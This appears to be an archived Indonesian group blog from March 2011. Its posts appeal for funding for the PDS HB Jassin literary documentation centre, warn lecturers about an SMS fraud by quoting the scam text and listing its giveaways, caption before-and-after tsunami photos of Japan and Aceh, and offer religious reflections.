Belum lagi beberapa dosen Universitas Indonesia, seperti profesor Panuti Sudjiman dan doktor Sri Wulan Rujiati Mulyadi, yang biasa memberikan mata kuliah filologi di Fakultas Sastra Universitas Indonesia, dan berbagai tokoh lain pecinta buku. Tulisan tangan WS Rendra saat membuat konsep puisinya, tulisan tangan Chairil Anwar, Sutan Takdir Alisjahbana, Sitor Situmorang, maupun naskah novel Ziarah milik Iwan Simatupang, bahkan surat-menyurat antarsesama sastrawan, semua teronggok di sana menunggu hancur kalau perawatan terabaikan karena masalah biaya. Bayangkan, apabila dokumentasi sastra terlengkap di Indonesia bahkan di dunia ini akhirnya lenyap begitu saja. Sungguh sayang sekali!

Makin hari; buku, makalah, dokumen penting sastra Indonesia makin membengkak. Koleksi bertambah terus kian hari, beriringan dengan berbagai peneliti yang mampir dan memanfaatkan gudang ilmu ini untuk skripsi dan disertasi mereka. Peneliti asing dari berbagai universitas di Malaysia, Australia, Jerman, Belanda, Amerika, juga tak terhitung banyaknya. Wartawan-wartawan Indonesia, para seniman andal, dosen, dan mahasiswa paham betul akan “sumber” informasi kesusastraan mereka adanya di PDS HB Jassin.

Pak Jassin pernah bermimpi seperti ini saat ia masih hidup, “Andai di lantai satu gedung perpustakaan Sastra Indonesia ini khusus memang untuk sastra Indonesia dan berbagai daerah lain. Lantai dua untuk sastra Asia. Lantai empat sastra Eropa. Semua terdiri dari sastra modern ataupun sastra lama.” Sungguh ideal, indah, dan mulia cita-cita sastrawan hebat Indonesia ini. Benarkah semua terwujud?

Beliau meninggal 11 tahun silam. Keinginannya belum terealisasi. Sampai kini, bahkan jangkauan untuk menggolongkan bagian-bagian dari sastra itu bertempat di lantai yang berbeda, betul-betul jauh dari impian. Alangkah menyedihkannya gedung PDS HB Jassin. Tangga besi yang curam dan membuat orang harus ekstra hati-hati menata napas dan melangkahkah kaki, ruang baca yang masih bersahaja, ditambah lagi ruang penyimpanan buku, dokumentasi yang muram dan dipenuhi map-map yang tak bersinar lagi. Tempat yang kian sempit dan perawatan yang kurang maksimal tinggal menunggu mahakarya yang ada di sana menjadi reyot pelan-pelan.

Saya tidak sanggup membayangkan betapa “ngilernya” para peneliti, mahasiswa yang haus karya sastra. Bayangkan, sampai saat ini terdapat sekitar 18.000-an buku fiksi, 12.000-an buku non-fiksi, 507 buku referensi, 812 buku naskah drama, 875 biografi pengarang, 16.774 kliping, 517 makalah, skripsi dan disertasi sebanyak 630 judul,  732 kaset rekaman suara, 15 video kaset rekaman, juga 740 foto pengarang. Data ini masih berubah dari hari ke hari dan semakin besar jumlah jenis koleksinya.

Tahun lalu saya sempat mengundang Rizal Ramli, mantan Menteri Ekonomi, beserta Afung, istrinya, saat buku puisi Radja Ketjil hasil karya saya dan berbagai teman lain diluncurkan di ruangan PDS HB Jassin. Saya tangkap keprihatinan dan keheranan Rizal Ramli saat menelusuri gang kecil menuju gedung PDS sebelum menaiki tangga curam. Banyak romel, ada gantungan jemuran pakaian, dan handuk di pinggiran bawah tangga. Setelah masuk pun ke ruangan yang bersahaja itu, ia tampak terkesima. Sedih memang! Namun saya tak lupa, Rizal Ramli mengagumi kekayaan PDS HB Jassin ini yang penuh berjubel karya Sastra Indonesia yang mencengangkan, bahkan karya Sastra Melayu China yang berasal dari tahun 1800-an masih tersimpan rapi di sana.

Negeri ini memang ironis. Di satu sisi menyulap gedung ratusan miliar dilengkapi kolam renang nun jauh di atap atas dan spa yang nyaman terasa mudah sekali. Sementara itu, menyisihkan kocek untuk sebuah penghalusan budi, memelihara mahakarya sastra Indonesia yang luar biasa lengkapnya dalam sebuah gedung yang bersahaja, bagai batu yang beratnya berton-ton rasanya untuk menjalankannya. Saya bayangkan ibu-ibu yang biasa muncul di majalah sosialita dengan tas Hermes warna-warni seharga satunya Rp 180 juta, sementara PDS HB Jassin akan tenggelam kehabisan nyawa karena hanya dilempar oleh Pemda sebesar Rp 50 juta! Saya teringat kembali kata-kata HB Jassin, yang kebetulan dulu adalah pembimbing skripsi sarjana saya, “Menyia-nyiakan hasil karya kita berarti menyia-nyiakan kehidupan kita, sejarah kita, masa silam, masa sekarang, dan masa depan kita… Dokumentasi  sesungguhnya adalah alat untuk memperpanjang ingatan, memperdalam, dan memperluasnya….”

“Akankah Fauzi Bowo beserta jajaran dinas yang membidangi masalah ini akan  meninjau kembali SK-nya? Atau sudah merasa “nyaman” karena sebentar lagi toh akan muncul berkilo-kilo uang logam sebagai hasil pengumpulan sumbangan dari masyarakat yang sangat prihatin atas merananya PDS HB Jassin ini? Mari kita lihat bersama perkembangan cerita selanjutnya….”

Kini, persoalan PDS HB Jassin telah menjadi sebuah gerakan “moral” menyelamatkan dunia sastra khususnya, dan dunia literasi umumnya. Beberapa sastrawan dan pencinta sastra bahkan telah menggulirkan “Koin Sastra”.

Written by ibu didin

March 20th, 2011 at 6:30 pm

Menipu Dosen PT via SMS, Modus Sudah Basi, tetapi Masih Tetap Ada

without comments

Seorang kolega di ITB menerima SMS dari seseorang dengan nomor HP: +6287840058307. Bunyinya seperti ini:

Saya Prof.Dr.Carmadi Machbub (Wakil Rektor ITB) Kemarin saya terima Undangan Seminar dari DIKTI tgl 26-27 Maret 2011 di Grand Hotel Shangrila surabaya Untuk Bpk.Eko Purwono, Undangannya bisa diambil hari kamis jam 10 Pagi diruangan saya, kebetulan sekarang saya masih di Bogor ada acara keluarga, (Biaya Transfortasi & Akomodasi ditanggung Oleh DIKTI 10jt Untuk Masing-masing Peserta) Untuk Penerimaan dana Transfortasi & Akomodasi Untuk Peserta Hubungi Bapak Koordinator Kopertis Wilayah IV Jabar Prof.Dr.Ir.H.Abdul Hakim Halim,MSc di No Hp Beliau 08155066138, dihubungi Sekarang Sudah ditunggu..!

Modus penipuan yang sudah basi, namun anehnya masih saja ada orang mencari duit dengan model seperti ini. Yang jadi sasaran adalah dosen Perguruan Tinggi. Pura-pura ada undangan seminar dari DIKTI di Bali atau di Jakarta, dengan iming-iming bantuan dana seminar sebesar 10 juta (bagi dosen PNS atau dosen yang penghasilannya pas-pasan, angka segitu lumayan menggoda). Lalu calon korban diminta menghubungi seseorang (biasanya Kepala Kopertis) untuk transfer dana. Ceritanya mudah ditebak, calon korban diarahkan ke ATM untuk menerima transfer dana. Lalu..lalu…dan seterusnya, bukannya untung, malah buntung.

Bagi calon korban yang masih sadar, seharusnya bisa ngeh melihat kejanggalan sbb:
1. Lihatlah gaya bahasa SMS itu, acak adut, tidak menunjukkan kualitas orang bergelar profesor. Mana titik mana koma tidak jelas, mana yang pakai huruf besar dan mana huruf kecil kacau semua. Tata bahasanya benar-benar buruk. Ini penipu sepertinya keluaran SD atau tidak lulus SMA. Parahnya lagi, kata “transfortasi” ditulis dengan huruf “f”, bukan “p”. Ketahuan juga ini orang dari suku mana (piss ya :-) ).

2. Mana ada Wakil Rektor sempat-sempatnya punya waktu mengirim SMS pemberitahuan seminar kepada para dosen, hanya untuk urusan ecek-ecek seperti itu? Kan dia bisa menyuruh stafnya atau pegawainya untuk memberitahu atau menelpon kepada para koleganya di kampus.

3. Mana ada Ketua Kopertis sampai berurusan mentransfer uang seminar kepada dosen PT? Kurang kerjaan kali dia sampai urusan tetek bengek itu dilakukan olehnya via ATM. Lalu, apa kerja para staf atau pegawainya kalau begitu?

Hmmm…. apakah penipu pulang dengan tangan hampa? Jika dia mengirim SMS kepada 1000 orang dosen saja (apalagi sekarang banyak paket hemat dari operator seluler memberi gratis 1000 SMS kepada pelanggan), kira-kira 1% saja ada yang nyangkut, maka dia sudah dapat 10 orang yang tergiur masuk perangkap. Sepuluh orang dikali 10 juta rupiah, dia sudah dapat 100 juta tanpa kerja keras. Paling buruk 0.1 % deh, maka ada 1 orang yang masuk perangkapnya, dan itu sudah 10 juta. Lumayan.

Harap diingat, penipu makin canggih dan makin kreatif memainkan jurus tipu-tipu, jadi waspadalah…


Written by rinaldimunir

March 16th, 2011 at 12:22 pm

Foto-Foto Sebelum dan Sesudah Tsunami di Jepang dan di Aceh

without comments

Minggu lalu Jepang dilanda tsunami mahadahsyat. Aceh juga pernah dilanda tsunami yang sedahsyat Jepang pada akhir tahun 2004. Bedanya, orang Jepang sudah siap dengan tsunami karena sudah berpengalaman, sedangkan orang Aceh (dan juga orang Indonesia) tidak siap menghadapi tsunami. Akibatnya bisa beda, korban tsunami di Jepang mungkin hanya ribuan orang (sampai tulisan ini ditulis), sementara di Aceh 200 ribu orang lebih mati dan hilang dihantam gelombang tsunami. Orang Indonesia mulai akrab dengan kata tusnami justru setelah kejadian tsunami di Aceh.

Meskipin jumlah korban berbeda jauh, namun kerusakan fisik yang ditimbulkan tsunami sama parahnya. Foto-foto dari udara di bawah ini menggambarkan sebelum dan sesudah tsunami di beberapa kota di Jepang serta foto sebelum dan sesudah tsunami di Aceh.

A. Foto sebelum dan sesudah tsunami di Jepang (Sumber: Vivanews)

1. a) Kota Miyagi sebelum tsunami

b) Kota Miyagi setelah tsunami

2. a) Kota Ishinomaki sebelum tsunami

b) Kota Ishinomaki setelah tsunami

3. a) Kota Natori sebelum tsunami

b) Kota Natori setelah tsunami

A. Foto sebelum dan sesudah tsunami di Aceh (Sumber foto: Bakosurtanal)

1. a) Kota Banda Aceh 1 sebelum tsunami (23 Juni 2004)

b) Kota Banda Aceh 1 sesudah tsunami (28 Desember 2004)

2. a) Kota Banda Aceh 2 sebelum tsunami (23 Juni 2004)

b) Kota Banda Aceh 2 sesudah tsunami (28 Desember 2004)

3. a) Kompleks Masjid Raya Baiturrahman Banda Aceh sebelum tsunami (23 Juni 2004)

b) Kompleks Masjid Raya Baiturrahman Banda Aceh sesudah tsunami (28 Desember 2004)


Written by rinaldimunir

March 14th, 2011 at 5:01 pm

Posted in Dunia oh Dunia

arrghhh a’udzubillahiminasy syaithonnirrojiimmm

without comments

Shaitan Giving you excuses not to pray Because you have an exam tommorow

Written by ibu didin

March 13th, 2011 at 4:34 pm

Tsunami dan Kekusaan-Nya

without comments

Innalillahi wa inna ilaihi rajiúun. Duka cita dan empati untuk saudara-saudara kita di Jepang.  Semoga diberikan kesabaran, keselamatan, dan dalam lindungan-Nya, demikian pula semoga dapat diambil hikmah untuk lebih mendekatkan diri kepada-Nya.  Mengingat kembali tsunami Aceh, 26 Desember 2004, berikut ini gambar masjid yang tetap kokoh diterjang tsunami, betapa besar kekuasaan Allah yang senantiasa menjaga rumah-Nya, dan mungkin saja Allah ‘mengingatkan’ untuk menegakkan tiang agama-Nya (shalat). Lebih banyak foto lagi bisa dilihat disini http://gus7.wordpress.com/2009/12/25/foto-masjid-masjid-usai-musibah-tsunami-nanggroe-aceh-darussalam/

mesjid_meulaboh

Written by ibu didin

March 13th, 2011 at 1:00 pm

Posted in masjid,Tafakur,tsunami